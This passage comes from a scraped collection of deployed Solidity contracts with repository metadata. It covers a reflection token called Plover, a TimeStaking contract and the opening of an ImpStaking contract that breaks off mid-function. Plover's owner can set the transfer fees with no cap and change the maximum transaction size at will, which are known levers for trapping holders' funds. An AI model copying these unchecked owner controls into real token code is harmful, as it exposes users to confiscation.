_burn(msg.sender, _amount);
uint value = VOLTsValue(_amount);
IERC20(VOLTs).transfer(msg.sender, value);
return value;
}
function VOLTsValue(uint _amount) public view returns (uint) {
return _amount.mul(IStaking(staking).index()).div(10 ** decimals());
}
function wVOLTValue(uint _amount) public view returns (uint) {
return _amount.mul(10 ** decimals()).div(IStaking(staking).index());
}
}
| 312,858 | 12,737 |
983a42bfc241761f4f37bf3eb8aa65fb98b356b103d87a384f2c3067d6cc86d4
| 29,490 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/22/22c16a7A72509e89FD6e9622f5177C1DB0228Fad_Plover.sol
| 5,203 | 18,731 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Plover is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public isAllowed;
address[] private _excluded;
uint8 private constant _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 800000000 ether;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'Plover';
string private constant _symbol = 'PLO';
uint256 private _taxFee = 400;
uint256 private _burnFee = 200;
uint public max_tx_size = 800000000 ether;
bool public isPaused = false;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
isAllowed[_msgSender()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function toggleAllowed(address addr) external onlyOwner {
isAllowed[addr] = !isAllowed[addr];
}
function unpause() external returns (bool){
require(msg.sender == owner() || isAllowed[msg.sender], "Unauth unpause call");
isPaused = false;
return true;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0xE53c9D4f15E9d5516d568DA0E29433e733872F39, 'We can not exclude router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isPaused || isAllowed[sender],"Unauthorized sender,wait until unpaused");
if(sender != owner() && recipient != owner())
require(amount <= max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setMaxTxAmount(uint newMax) external onlyOwner {
max_tx_size = newMax;
}
}
| 323,224 | 12,738 |
e97d29eaf6cfd63cfef372a26c74d97435865a5df40af9770901a1e5052c4d3f
| 27,363 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/3c/3C09c500829D09AfEA7575005fcAFBacFcde6902_TimeStaking.sol
| 4,198 | 16,940 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IMemo {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract TimeStaking is Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable Time;
address public immutable Memories;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _Time,
address _Memories,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_Time != address(0));
Time = _Time;
require(_Memories != address(0));
Memories = _Memories;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(Time).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IMemo(Memories).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(Memories).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IMemo(Memories).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IMemo(Memories).balanceForGons(info.gons));
IERC20(Time).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(Memories).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(Time).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IMemo(Memories).index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
IMemo(Memories).rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IMemo(Memories).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(Time).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(Memories).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(Memories).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 74,424 | 12,739 |
ee81ad3d3cc7d196682aee6d6b1dea70bc2142342476fe2dd227b99e0eb581b3
| 23,527 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/71/71256cE33F593A5188CA397beCa690E860578cC8_ImpStaking.sol
| 4,499 | 16,358 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library LowGasSafeMath {
/// @notice Returns x + y, reverts if sum overflows uint256
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
function add32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x + y) >= x);
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x);
}
function sub32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x - y) <= x);
}
/// @notice Returns x * y, reverts if overflows
/// @param x The multiplicand
/// @param y The multiplier
/// @return z The product of x and y
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(x == 0 || (z = x * y) / x == y);
}
/// @notice Returns x + y, reverts if overflows or underflows
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x + y) >= x == (y >= 0));
}
/// @notice Returns x - y, reverts if overflows or underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x - y) <= x == (y >= 0));
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, 'Address: insufficient balance');
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}('');
require(success, 'Address: unable to send value, recipient may have reverted');
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, 'Address: low-level call failed');
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, 'Address: low-level call with value failed');
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, 'Address: insufficient balance for call');
require(isContract(target), 'Address: call to non-contract');
